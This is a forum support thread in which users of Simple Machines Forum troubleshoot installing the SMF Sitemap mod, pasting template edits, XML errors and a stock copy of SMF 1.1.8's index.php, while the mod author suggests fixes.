<search position="replace"><![CDATA[ <li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>]]></search>
<add><![CDATA[ <li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>
]]></add>


repacked and install.

Quote from: SlammedDime on October 14, 2008, 11:13:49 AM
Yes, that is really the only change needed to work on Beta 4, but I won't be releasing a new version until 2.0 hit's the RC stages due to still more template changes in the works, plus I plan on adding features to the sitemap.

That should answer your question regarding Beta 4

As for the other issue, I'd have to see a link, but I"m willing to guess one of two things... either you have adsense code on your forum, or some other code after </html> in your source, or there are some spaces at the very top of the HTML before <doctype>... either of those will foul you up.

As for knowing if it's working right... visit the sitemap... simple as that.  Check the XML link to make sure no errors appear on the screen.

did this changes but still getting the same error

5.     Ejecutar Modificación     ./Themes/default/index.template.php     Prueba fallida
      1.    Agregar Antes    ./Themes/default/index.template.php    Prueba fallida
Title: Re: SMF Sitemap
Post by: sombra on January 28, 2009, 10:14:28 PM
sorry for the bump but i installed having the eror but before i made this change

QuoteNote: i did this change in the mod package:
unzip smf_sitemap_1.3.0.tar.gz
and edit install.xml file
find this:
Code: [Select]
         <search position="after"><![CDATA[            </td>
            <td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
]]></search>
         <add><![CDATA[               <span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>
]]></add>
and remplace by this:
Code: [Select]
         <search position="replace"><![CDATA[         <li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>]]></search>
         <add><![CDATA[         <li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
         <li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>
]]></add>
repacked and install.

then i installed even having the error  now i see this links at the final of my forum

# XHTML
# RSS
# WAP2
# Sitemap

my question is if this is there it means it worked? no more editing to make?

and i use another theme what in specific i need to change thanks


edit....

i have this on the footer of my custom theme learning hot to edit files i mest it up a bit now i think i can get it rigth hehee

<div id="footerarea">
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a> | <a href="'.$scripturl.'?action=rules;sa=agreement" class="new_win"><span>Terminos y Condiciones</span></a> | <a href="'.$scripturl.'?action=rules" class="new_win"><span>Regas de Post</span></a> | <a href="'.$scripturl.'?action=rules;sa=additional" class="new_win"><span>Que es Todo Ilegal</span></a></li>
  ', theme_copyright(), '<br />Todos los Derechos Reservados Todo ilegal Group<br />';


is missing
# XHTML
# RSS
# WAP2

what do i need to put there becouse i have another links to show besides the ones of sitemap

edit...

and i went to google and saw this error

XML Parsing Error: undefined entity
Location: http://todoilegal.net/index.php?action=sitemap;xml
Line Number 4, Column 97:         <a class="floatright" href="http://todoilegal.net/index.php?action=unread;c=1">Mensajes no le&iacute;dos</a><a name="c1" href="http://todoilegal.net/index.php?action=collapse;c=1;sa=collapse;#c1">Categoria General</a
Title: Re: SMF Sitemap
Post by: Toadmund on February 01, 2009, 10:15:01 AM
Quote from: SlammedDime on January 28, 2009, 05:06:07 AM
Toadmund, looks like you're missing the language strings in your Modifications.english.php file, OR, if you have a Modifications.english-utf8.php file, they might be there as well.
What are the language strings?
And should I look in the default theme, or my current theme?
Title: Re: SMF Sitemap
Post by: SlammedDime on February 01, 2009, 10:24:27 AM
Both.  If your current them has a Modifications.english.php file in it, it shouldn't.  If it doesn't, you'll want to look in your Default theme language directory as I said above.
Title: Re: SMF Sitemap
Post by: Toadmund on February 01, 2009, 11:46:07 AM
I have this string twice in 'Modifications.english.php

// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Show Sitemap XML link';
$txt['sitemap_topic_count'] = 'Max number of topics to display in sitemap';
$txt['sitemap_collapsible'] = 'Collapse child boards in sitemap';

I assume once is plenty?

I do not have this string at all in the utf8 one.

Is this where my problem lies?
Title: Re: SMF Sitemap
Post by: SlammedDime on February 01, 2009, 12:34:16 PM
Yes, you'll need to put it in the utf8 file.  Or if you don't use utf8, remove all of the utf8 files.
Title: Re: SMF Sitemap
Post by: shortchange on February 02, 2009, 09:28:50 AM
Greetings I have installed sitemap on SMF beta 4 and have the following error:

Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
File: /homepages/5/d271589599/htdocs/gg/forum/Sources/Sitemap.php
Line: 185


In modifications.english I have this entry:
$txt['sitemap_topic_count'] = 'Max number of topics to display in sitemap';

Please advise me on how to fix it. Thank you.
Title: Re: SMF Sitemap
Post by: SlammedDime on February 02, 2009, 10:12:09 AM
You can ignore that error if you like, the sitemap will still function as it should.

If you want to fix it, you'll have to go into Sitemap.php and find any occurances of sitemap_topic_count that do not have ' around it, and change it 'sitemap_topic_count'
Title: Re: SMF Sitemap
Post by: sombra on February 02, 2009, 10:43:58 AM
ok hello.

i installed even having the error  now i see this links at the final of my forum

# XHTML
# RSS
# WAP2
# Sitemap

my question is if this is there it means it worked? no more editing to make?

and i use another theme what in specific i need to change thanks


edit....

i have this on the footer of my custom theme learning hot to edit files i mest it up a bit now i think i can get it rigth hehee

         <div id="footerarea">
               <li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a> | <a href="'.$scripturl.'?action=rules;sa=agreement" class="new_win"><span>Terminos y Condiciones</span></a> | <a href="'.$scripturl.'?action=rules" class="new_win"><span>Regas de Post</span></a> | <a href="'.$scripturl.'?action=rules;sa=additional" class="new_win"><span>Que es Todo Ilegal</span></a></li>
           ', theme_copyright(), '<br />Todos los Derechos Reservados Todo ilegal Group<br />';


is missing
# XHTML
# RSS
# WAP2

what do i need to put there becouse i have another links to show besides the ones of sitemap

edit...

and i went to google and saw this error

XML Parsing Error: undefined entity
Location: http://todoilegal.net/index.php?action=sitemap;xml
Line Number 4, Column 97:         <a class="floatright" href="http://todoilegal.net/index.php?action=unread;c=1">Mensajes no le&iacute;dos</a><a name="c1" href="http://todoilegal.net/index.php?action=collapse;c=1;sa=collapse;#c1">Categoria General</a

wen i go in the sitemap link it just takes me in to the forum again :-[
Title: Re: SMF Sitemap
Post by: shortchange on February 02, 2009, 11:54:55 AM
Quote from: SlammedDime on February 02, 2009, 10:12:09 AM
You can ignore that error if you like, the sitemap will still function as it should.

If you want to fix it, you'll have to go into Sitemap.php and find any occurances of sitemap_topic_count that do not have ' around it, and change it 'sitemap_topic_count'

Cheers mate, thanks.

For anyone else, there was only one instance of this

find
'max_topics' => $modSettings[sitemap_topic_count],

replace
'max_topics' => $modSettings['sitemap_topic_count'],
Title: Re: SMF Sitemap
Post by: SlammedDime on February 02, 2009, 12:42:22 PM
Sombra - that means that the sitemap mod is not fully installed.  You'll want to look at the manual instructions for installing the mod and make sure it's all there.

As for editing the theme, if it's missing those options, you'll need to contact the theme author and ask how to put them in.
Title: Re: SMF Sitemap
Post by: sombra on February 02, 2009, 07:24:05 PM
my friend the code its rigth here of the footer if you can just add what is missing it woud be for alot of help

         <div id="footerarea">
               <li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a> | <a href="'.$scripturl.'?action=rules;sa=agreement" class="new_win"><span>Terminos y Condiciones</span></a> | <a href="'.$scripturl.'?action=rules" class="new_win"><span>Regas de Post</span></a> | <a href="'.$scripturl.'?action=rules;sa=additional" class="new_win"><span>Que es Todo Ilegal</span></a></li>
           ', theme_copyright(), '<br />Todos los Derechos Reservados Todo ilegal Group<br />';
Title: Re: SMF Sitemap
Post by: gordonjr on February 03, 2009, 08:16:09 PM
During install of this mod i get this error message:

4.     Execute Modification     ./Themes/default/index.template.php     Test failed

I went ahead and installed the mod anyways. I received no other error messages after the install. The only thing that appears to be missing is the sitemap link in the footer.

When I try to get the manual install instructions for this mod I get this error:

Sorry, but this modification does not appear to be compatible with the selected version.

I am currently using SMF 1.1.7

Can i find these install instructions someplace else.

Thanks
Title: Re: SMF Sitemap
Post by: Smoky "Rider" Blue on February 03, 2009, 08:21:08 PM
by reading the xml file (there are 2 of them) that is in the package of the mod you downloaded.  ;)
Title: Re: SMF Sitemap
Post by: Toadmund on February 03, 2009, 08:32:06 PM
Sorry, I forgot to thank you for your help SlammedDime.

Thank You! :D
Title: Re: SMF Sitemap
Post by: gordonjr on February 03, 2009, 09:06:14 PM
I have found this code in the xml file:

<file name="$themedir/index.template.php" error="fatal">
<operation error="fatal">
<search position="after"><![CDATA[ </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
]]></search>
<add><![CDATA[ <span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
]]></add>
</operation>
</file>


I dont see the following code in the index.template.php file:

<![CDATA[ </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


With that said do i add the above code to the file? And if I do could you please tell me were I need to insert it.

Thanks

Title: Re: SMF Sitemap
Post by: SlammedDime on February 03, 2009, 09:49:01 PM
Honestly, you can insert the link to the sitemap anywhere in your index.template.php that you want it to appear.  I merely chose the footer because I felt like it should go there.  You can find the footer information in your index.template.php and add the link anywhere in there that you like.
Title: Re: SMF Sitemap
Post by: gordonjr on February 04, 2009, 08:11:17 AM
I have found the following code in the index.template.php file:


// Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere!
echo '

<div id="footerarea" style="text-align: center; padding-bottom: 1ex;', $context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' width: 100%;' : '', '">
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
function smfFooterHighlight(element, value)
{
element.src = smf_images_url + "/" + (value ? "h_" : "") + element.id + ".gif";
}
// ]]></script>
', !empty($settings['custom_copyright']) ? '<span class="smalltext">'. parse_bbc($settings['custom_copyright']). '</span>' : '', '<br />
', theme_copyright(), '
';


Could you please tell me were/what code I need add to this section. I have tried to add the code to display the sitemap but have only received this message:

Template Parse Error!
It seems something has gone sour on the forum with the template system. This problem should only be temporary, so please come back later and try again. If you continue to see this message, please contact the administrator.

You can also try refreshing this page. 

Thanks
Gordon
Title: Re: SMF Sitemap
Post by: SlammedDime on February 04, 2009, 12:40:52 PM
Replace
', theme_copyright(), '
With
', theme_copyright(), '<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'], '</a></span>
Title: Re: SMF Sitemap
Post by: gordonjr on February 05, 2009, 09:35:55 AM
It worked. Thanks for the help.
Title: Re: SMF Sitemap
Post by: hartiberlin on February 06, 2009, 12:17:10 AM
I got it to work on SMF 2.0B4,
but now SMF 2.0 RC1 is out.

Does the Sitemap MOD need a change now ?
Will the SMF 2.0B4 Mod version also work with
SMF 2.0 RC1  ?

Many thanks.
Title: Re: SMF Sitemap
Post by: SlammedDime on February 06, 2009, 11:22:05 AM
If you got it working on 2.0b4, yes, it will work on rc1, however I'm in the process of rewriting the template after adding more features, so a true RC1 release is not far off. :)
Title: Re: SMF Sitemap
Post by: sAce on February 07, 2009, 08:22:16 AM
Quotein admin
XML Parsing Error: junk after document element
Location: http://forum.soumik-ace.com/index.php?action=sitemap;xml
Line Number 1791, Column 10:</urlset><script type="text/javascript">

this in regular
This page contains the following errors:

error on line 1791 at column 10: Extra content at the end of the document
Below is a rendering of the page up to the first error.

hey i get this error when i click the xml link

can any one help me solve this,
my forum url is in my sig,


Title: Re: SMF Sitemap
Post by: SlammedDime on February 07, 2009, 10:14:06 AM
Get rid of the javascript in the footer of your website and relocate it to the proper place, in index.template.php, before </body>
Title: Re: SMF Sitemap
Post by: SlammedDime on February 07, 2009, 06:31:17 PM
Version 2.0.0 has been released and is available for download...

It is a complete rewrite of the mod to use more of SMF 2.0's native functions and also optimizes the database queries a bit.

To upgrade, uninstall any previous version then install this one.  The XML link has remained the same as to not break compatibility.
Title: Re: SMF Sitemap
Post by: sAce on February 08, 2009, 12:24:28 AM
Quote from: SlammedDime on February 07, 2009, 10:14:06 AM
Get rid of the javascript in the footer of your website and relocate it to the proper place, in index.template.php, before </body>

thank you bro, it was my analytics code which was creating probs,
i fixed it like u said, its working now

but there is one more issue

i use FF3 , its workinging fine wid ff, and ie6, but xml is giving odd out put in chrome
can u pllzz take a look
Title: Re: SMF Sitemap
Post by: SlammedDime on February 08, 2009, 04:55:42 AM
It doesn't really matter how it looks in the browser, as long as the XML output is correct, which it is.
Title: Re: SMF Sitemap
Post by: MultiformeIngegno on February 08, 2009, 06:19:54 AM
Quote from: SlammedDime on February 07, 2009, 06:31:17 PM
Version 2.0.0 has been released and is available for download...

It is a complete rewrite of the mod to use more of SMF 2.0's native functions and also optimizes the database queries a bit.
YOU ROCK!!
Really thanks!! ;)
Title: Re: Sitemap
Post by: zerog12avity on February 10, 2009, 02:58:59 PM
I'm not clear on how to install. Which folder would I upload the GZ file too? I'm running 2.0B4   
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on February 10, 2009, 03:24:28 PM
go to

admin>packages

then upload it from there..

it will install to the default  ;)
Title: Re: Sitemap
Post by: zerog12avity on February 10, 2009, 03:48:06 PM
I tried that first... but got this
An Error Has Occurred!
The package you tried to upload either is not a valid package or has become corrupted.

Also tried, adding a folder "sitemap" in the package directory and then uploaded the file directly. As suggested below:

An Error Has Occurred!
Although the package was downloaded to the server it appears to be empty. Please check the Packages directory, and the "temp" sub-directory are both writable. If you continue to experience this problem you should try extracting the package on your PC and uploading the extracted files into a subdirectory in your Packages directory and try again. For example, if the package was called shout.tar.gz you should:
1) Download the package to your local PC and extract it into files.
2) Using an FTP client create a new directory in your "Packages" folder, in this example you may call it "shout".
3) Upload all the files from the extracted package to this directory.
4) Go back to the package manager browse page and the package will be automatically found by SMF.
Title: Re: Sitemap
Post by: weisus on February 11, 2009, 08:51:51 PM
SlammedDime,
I added your mod to my site and it installed perfectly, thank you. I do have a question though; I already had a map for my site submitted to google, so for better or worse, I just added my main site info to the forum xml, deleted my old map and resubmitted the new one. Can you think of any issues that this may cause? At the moment google is saying that my status is ok.
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on February 11, 2009, 09:01:15 PM
only one i can see, depending on how the one for the front was created and what it lists, you may have links either missing or merging.. you might want to double check on it..

personally, i have 2 sitemaps on mine, with no ill effects  ;)
Title: Re: Sitemap
Post by: weisus on February 11, 2009, 09:28:02 PM
Thanks for the reply SmokyBlue, now I have a different problem though. At first I wasn't able to auto install the mod; received a fail on index.php. So I installed a previous index file and everything seemed happy, until...
I noticed that the sitemap was viewable to guests and then I noticed that the saved index.php that I installed was for version 1.1.5, so I reinstalled a fresh 1.1.8 and now, when I click on the sitemap link, it just refreshes my page with the sitemap link in the address. It would seem that my ambition, far outreaches my skill at this point.
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on February 11, 2009, 09:35:47 PM
not sure how many mods you have on your site, but if you go to where you downloaded the site map, it will have the edits you need to make on all files.. then make sure you have done the same to the custom theme you want to use as well.. ;)

you will need that index.php if you have other installed mods or your site might be subject to more issues.. if you need more help, you might want to replace all smf files with a large update and start again..  :P
Title: Re: Sitemap
Post by: weisus on February 11, 2009, 09:52:02 PM
Thanks again, I did just reinstall 1.1.8 again and then re-downloaded the sitemap mod and it again said fail on index.php, I'm no programmer, but for the life of me I don't see a problem with the file. If you or someone else doesn't mind looking, here is the file:
<?php
/**********************************************************************************
* index.php                                                                       *
***********************************************************************************
* SMF: Simple Machines Forum                                                      *
* Open-Source Project Inspired by Zef Hemel ([email protected])                    *
* =============================================================================== *
* Software Version:           SMF 1.1.8                                           *
* Software by:                Simple Machines (http://www.simplemachines.org)     *
* Copyright 2006-2007 by:     Simple Machines LLC (http://www.simplemachines.org) *
*           2001-2006 by:     Lewis Media (http://www.lewismedia.com)             *
* Support, News, Updates at:  http://www.simplemachines.org                       *
***********************************************************************************
* This program is free software; you may redistribute it and/or modify it under   *
* the terms of the provided license as published by Simple Machines LLC.          *
*                                                                                 *
* This program is distributed in the hope that it is and will be useful, but      *
* WITHOUT ANY WARRANTIES; without even any implied warranty of MERCHANTABILITY    *
* or FITNESS FOR A PARTICULAR PURPOSE.                                            *
*                                                                                 *
* See the "license.txt" file for details of the Simple Machines license.          *
* The latest version can always be found at http://www.simplemachines.org.        *
**********************************************************************************/


/*        This, as you have probably guessed, is the crux on which SMF functions.
        Everything should start here, so all the setup and security is done
        properly.  The most interesting part of this file is the action array in
        the smf_main() function.  It is formatted as so:

                'action-in-url' => array('Source-File.php', 'FunctionToCall'),

        Then, you can access the FunctionToCall() function from Source-File.php
        with the URL index.php?action=action-in-url.  Relatively simple, no?
*/

$forum_version 'SMF 1.1.8';

// Get everything started up...
define('SMF'1);
@
set_magic_quotes_runtime(0);
error_reporting(E_ALL);
$time_start microtime();

// Make sure some things simply do not exist.
foreach (array('db_character_set') as $variable)
        if (isset(
$GLOBALS[$variable]))
                unset(
$GLOBALS[$variable]);

// Load the settings...
require_once(dirname(__FILE__) . '/Settings.php');

// And important includes.
require_once($sourcedir '/QueryString.php');
require_once(
$sourcedir '/Subs.php');
require_once(
$sourcedir '/Errors.php');
require_once(
$sourcedir '/Load.php');
require_once(
$sourcedir '/Security.php');


// Using an old version of PHP?
if (@version_compare(PHP_VERSION'4.2.3') != 1)
        require_once(
$sourcedir '/Subs-Compat.php');

// If $maintenance is set specifically to 2, then we're upgrading or something.
if (!empty($maintenance) && $maintenance == 2)
        
db_fatal_error();

// Connect to the MySQL database.
if (empty($db_persist))
        
$db_connection = @mysql_connect($db_server$db_user$db_passwd);
else
        
$db_connection = @mysql_pconnect($db_server$db_user$db_passwd);

// Show an error if the connection couldn't be made.
if (!$db_connection || !@mysql_select_db($db_name$db_connection))
        
db_fatal_error();

// Load the settings from the settings table, and perform operations like optimizing.
reloadSettings();
// Clean the request variables, add slashes, etc.
cleanRequest();
$context = array();

// Seed the random generator?
if (empty($modSettings['rand_seed']) || mt_rand(1250) == 69)
        
smf_seed_generator();

// Determine if this is using WAP, WAP2, or imode.  Technically, we should check that wap comes before application/xhtml or text/html, but this doesn't work in practice as much as it should.
if (isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'application/vnd.wap.xhtml+xml') !== false)
        
$_REQUEST['wap2'] = 1;
elseif (isset(
$_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)
{
        if (
strpos($_SERVER['HTTP_USER_AGENT'], 'DoCoMo/') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'portalmmm/') !== false)
                
$_REQUEST['imode'] = 1;
        else
                
$_REQUEST['wap'] = 1;
}

if (!
defined('WIRELESS'))
        
define('WIRELESS', isset($_REQUEST['wap']) || isset($_REQUEST['wap2']) || isset($_REQUEST['imode']));

// Some settings and headers are different for wireless protocols.
if (WIRELESS)
{
        
define('WIRELESS_PROTOCOL', isset($_REQUEST['wap']) ? 'wap' : (isset($_REQUEST['wap2']) ? 'wap2' : (isset($_REQUEST['imode']) ? 'imode' '')));

        
// Some cellphones can't handle output compression...
        
$modSettings['enableCompressedOutput'] = '0';
        
// !!! Do we want these hard coded?
        
$modSettings['defaultMaxMessages'] = 5;
        
$modSettings['defaultMaxTopics'] = 9;

        
// Wireless protocol header.
        
if (WIRELESS_PROTOCOL == 'wap')
                
header('Content-Type: text/vnd.wap.wml');
}

// Check if compressed output is enabled, supported, and not already being done.
if (!empty($modSettings['enableCompressedOutput']) && !headers_sent() && ob_get_length() == 0)
{
        
// If zlib is being used, turn off output compression.
        
if (@ini_get('zlib.output_compression') == '1' || @ini_get('output_handler') == 'ob_gzhandler' || @version_compare(PHP_VERSION'4.2.0') == -1)
                
$modSettings['enableCompressedOutput'] = '0';
        else
                
ob_start('ob_gzhandler');
}
// This makes it so headers can be sent!
if (empty($modSettings['enableCompressedOutput']))
        
ob_start();

// Register an error handler.
set_error_handler('error_handler');

// Start the session. (assuming it hasn't already been.)
loadSession();

// What function shall we execute? (done like this for memory's sake.)
call_user_func(smf_main());

// Call obExit specially; we're coming from the main area ;).
obExit(nullnulltrue);

// The main controlling function.
function smf_main()
{
        global 
$modSettings$settings$user_info$board$topic$maintenance$sourcedir;

        
// Special case: session keep-alive.
        
if (isset($_GET['action']) && $_GET['action'] == 'keepalive')
                die;

        
// Load the user's cookie (or set as guest) and load their settings.
        
loadUserSettings();

        
// Load the current board's information.
        
loadBoard();

        
// Load the current theme.  (note that ?theme=1 will also work, may be used for guest theming.)
        
loadTheme();

        
// Check if the user should be disallowed access.
        
is_not_banned();

        
// Load the current user's permissions.
        
loadPermissions();


        
// Do some logging, unless this is an attachment, avatar, theme option or XML feed.
        
if (empty($_REQUEST['action']) || !in_array($_REQUEST['action'], array('dlattach''jsoption''.xml')))
        {
                
// Log this user as online.
                
writeLog();

                
// Track forum statistics and hits...?
                
if (!empty($modSettings['hitStats']))
                        
trackStats(array('hits' => '+'));
        }

        
// Is the forum in maintenance mode? (doesn't apply to administrators.)
        
if (!empty($maintenance) && !allowedTo('admin_forum'))
        {
                
// You can only login.... otherwise, you're getting the "maintenance mode" display.
                
if (isset($_REQUEST['action']) && ($_REQUEST['action'] == 'login2' || $_REQUEST['action'] == 'logout'))
                {
                        require_once(
$sourcedir '/LogInOut.php');
                        return 
$_REQUEST['action'] == 'login2' 'Login2' 'Logout';
                }
                
// Don't even try it, sonny.
                
else
                {
                        require_once(
$sourcedir '/Subs-Auth.php');
                        return 
'InMaintenance';
                }
        }
        
// If guest access is off, a guest can only do one of the very few following actions.
        
elseif (empty($modSettings['allow_guestAccess']) && $user_info['is_guest'] && (!isset($_REQUEST['action']) || !in_array($_REQUEST['action'], array('coppa''login''login2''register''register2''reminder''activate''smstats''help''.xml''verificationcode'))))
        {
                require_once(
$sourcedir '/Subs-Auth.php');
                return 
'KickGuest';
        }
        elseif (empty(
$_REQUEST['action']))
        {
                
// Action and board are both empty... BoardIndex!
                
if (empty($board) && empty($topic))
                {
                        require_once(
$sourcedir '/BoardIndex.php');
                        return 
'BoardIndex';
                }
                
// Topic is empty, and action is empty.... MessageIndex!
                
elseif (empty($topic))
                {
                        require_once(
$sourcedir '/MessageIndex.php');
                        return 
'MessageIndex';
                }
                
// Board is not empty... topic is not empty... action is empty.. Display!
                
else
                {
                        require_once(
$sourcedir '/Display.php');
                        return 
'Display';
                }
        }

        
// Here's the monstrous $_REQUEST['action'] array - $_REQUEST['action'] => array($file, $function).
        
$actionArray = array(
                
'activate' => array('Register.php''Activate'),
                
'admin' => array('Admin.php''Admin'),
                
'announce' => array('Post.php''AnnounceTopic'),
                
'ban' => array('ManageBans.php''Ban'),
                
'boardrecount' => array('Admin.php''AdminBoardRecount'),
                
'buddy' => array('Subs-Members.php''BuddyListToggle'),
                
'calendar' => array('Calendar.php''CalendarMain'),
                
'cleanperms' => array('Admin.php''CleanupPermissions'),
                
'collapse' => array('Subs-Boards.php''CollapseCategory'),
                
'convertentities' => array('Admin.php''ConvertEntities'),
                
'convertutf8' => array('Admin.php''ConvertUtf8'),
                
'coppa' => array('Register.php''CoppaForm'),
                
'deletemsg' => array('RemoveTopic.php''DeleteMessage'),
                
'detailedversion' => array('Admin.php''VersionDetail'),
                
'display' => array('Display.php''Display'),
                
'dlattach' => array('Display.php''Download'),
                
'dumpdb' => array('DumpDatabase.php''DumpDatabase2'),
                
'editpoll' => array('Poll.php''EditPoll'),
                
'editpoll2' => array('Poll.php''EditPoll2'),
                
'featuresettings' => array('ModSettings.php''ModifyFeatureSettings'),
                
'featuresettings2' => array('ModSettings.php''ModifyFeatureSettings2'),
                
'findmember' => array('Subs-Auth.php''JSMembers'),
                
'help' => array('Help.php''ShowHelp'),
                
'helpadmin' => array('Help.php''ShowAdminHelp'),
                
'im' => array('PersonalMessage.php''MessageMain'),
                
'jsoption' => array('Themes.php''SetJavaScript'),
                
'jsmodify' => array('Post.php''JavaScriptModify'),
                
'lock' => array('LockTopic.php''LockTopic'),
                
'lockVoting' => array('Poll.php''LockVoting'),
                
'login' => array('LogInOut.php''Login'),
                
'login2' => array('LogInOut.php''Login2'),
                
'logout' => array('LogInOut.php''Logout'),
                
'maintain' => array('Admin.php''Maintenance'),
                
'manageattachments' => array('ManageAttachments.php''ManageAttachments'),
                
'manageboards' => array('ManageBoards.php''ManageBoards'),
                
'managecalendar' => array('ManageCalendar.php''ManageCalendar'),
                
'managesearch' => array('ManageSearch.php''ManageSearch'),
                
'markasread' => array('Subs-Boards.php''MarkRead'),
                
'membergroups' => array('ManageMembergroups.php''ModifyMembergroups'),
                
'mergetopics' => array('SplitTopics.php''MergeTopics'),
                
'mlist' => array('Memberlist.php''Memberlist'),
                
'modifycat' => array('ManageBoards.php''ModifyCat'),
                
'modifykarma' => array('Karma.php''ModifyKarma'),
                
'modlog' => array('Modlog.php''ViewModlog'),
                
'movetopic' => array('MoveTopic.php''MoveTopic'),
                
'movetopic2' => array('MoveTopic.php''MoveTopic2'),
                
'news' => array('ManageNews.php''ManageNews'),
                
'notify' => array('Notify.php''Notify'),
                
'notifyboard' => array('Notify.php''BoardNotify'),
                
'optimizetables' => array('Admin.php''OptimizeTables'),
                
'packageget' => array('PackageGet.php''PackageGet'),
                
'packages' => array('Packages.php''Packages'),
                
'permissions' => array('ManagePermissions.php''ModifyPermissions'),
                
'pgdownload' => array('PackageGet.php''PackageGet'),
                
'pm' => array('PersonalMessage.php''MessageMain'),
                
'post' => array('Post.php''Post'),
                
'post2' => array('Post.php''Post2'),
                
'postsettings' => array('ManagePosts.php''ManagePostSettings'),
                
'printpage' => array('Printpage.php''PrintTopic'),
                
'profile' => array('Profile.php''ModifyProfile'),
                
'profile2' => array('Profile.php''ModifyProfile2'),
                
'quotefast' => array('Post.php''QuoteFast'),
                
'quickmod' => array('Subs-Boards.php''QuickModeration'),
                
'quickmod2' => array('Subs-Boards.php''QuickModeration2'),
                
'recent' => array('Recent.php''RecentPosts'),
                
'regcenter' => array('ManageRegistration.php''RegCenter'),
                
'register' => array('Register.php''Register'),
                
'register2' => array('Register.php''Register2'),
                
'reminder' => array('Reminder.php''RemindMe'),
                
'removetopic2' => array('RemoveTopic.php''RemoveTopic2'),
                
'removeoldtopics2' => array('RemoveTopic.php''RemoveOldTopics2'),
                
'removepoll' => array('Poll.php''RemovePoll'),
                
'repairboards' => array('RepairBoards.php''RepairBoards'),
                
'reporttm' => array('SendTopic.php''ReportToModerator'),
                
'reports' => array('Reports.php''ReportsMain'),
                
'requestmembers' => array('Subs-Auth.php''RequestMembers'),
                
'search' => array('Search.php''PlushSearch1'),
                
'search2' => array('Search.php''PlushSearch2'),
                
'sendtopic' => array('SendTopic.php''SendTopic'),
                
'serversettings' => array('ManageServer.php''ModifySettings'),
                
'serversettings2' => array('ManageServer.php''ModifySettings2'),
                
'smileys' => array('ManageSmileys.php''ManageSmileys'),
                
'smstats' => array('Stats.php''SMStats'),
                
'spellcheck' => array('Subs-Post.php''SpellCheck'),
                
'splittopics' => array('SplitTopics.php''SplitTopics'),
                
'stats' => array('Stats.php''DisplayStats'),
                
'sticky' => array('LockTopic.php''Sticky'),
                
'theme' => array('Themes.php''ThemesMain'),
                
'trackip' => array('Profile.php''trackIP'),
                
'about:mozilla' => array('Karma.php''BookOfUnknown'),
                
'about:unknown' => array('Karma.php''BookOfUnknown'),
                
'unread' => array('Recent.php''UnreadTopics'),
                
'unreadreplies' => array('Recent.php''UnreadTopics'),
                
'viewErrorLog' => array('ManageErrors.php''ViewErrorLog'),
                
'viewmembers' => array('ManageMembers.php''ViewMembers'),
                
'viewprofile' => array('Profile.php''ModifyProfile'),
                
'verificationcode' => array('Register.php''VerificationCode'),
                
'vote' => array('Poll.php''Vote'),
                
'viewquery' => array('ViewQuery.php''ViewQuery'),
                
'who' => array('Who.php''Who'),
                
'.xml' => array('News.php''ShowXmlFeed'),
        );

        
// Get the function and file to include - if it's not there, do the board index.
        
if (!isset($_REQUEST['action']) || !isset($actionArray[$_REQUEST['action']]))
        {
                
// Catch the action with the theme?
                
if (!empty($settings['catch_action']))
                {
                        require_once(
$sourcedir '/Themes.php');
                        return 
'WrapAction';
                }

                
// Fall through to the board index then...
                
require_once($sourcedir '/BoardIndex.php');
                return 
'BoardIndex';
        }

        
// Otherwise, it was set - so let's go to that action.
        
require_once($sourcedir '/' $actionArray[$_REQUEST['action']][0]);
        return 
$actionArray[$_REQUEST['action']][1];
}

?>
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on February 11, 2009, 09:58:23 PM
perhaps in the morning, im code challenged currently and wont do you or me a bit of good..

maybe slammeddime will be around soon to help you out..  ;)
Title: Re: Sitemap
Post by: weisus on February 11, 2009, 10:06:43 PM
No problem SmokyBlue, I appreciate you helping me as much as you did-at least I have narrowed it down some, goodnight and thank you.
Title: Re: Sitemap
Post by: SlammedDime on February 11, 2009, 11:45:29 PM
The code it's looking for is there, dunno why it's failing.  You are using version 1.2.2, correct?

Find: [Select]

      'smileys' => array('ManageSmileys.php', 'ManageSmileys'),

Add Before: [Select]

      'sitemap' => array('Sitemap.php', 'ShowSiteMap'),

Title: Re: Sitemap
Post by: weisus on February 11, 2009, 11:57:19 PM
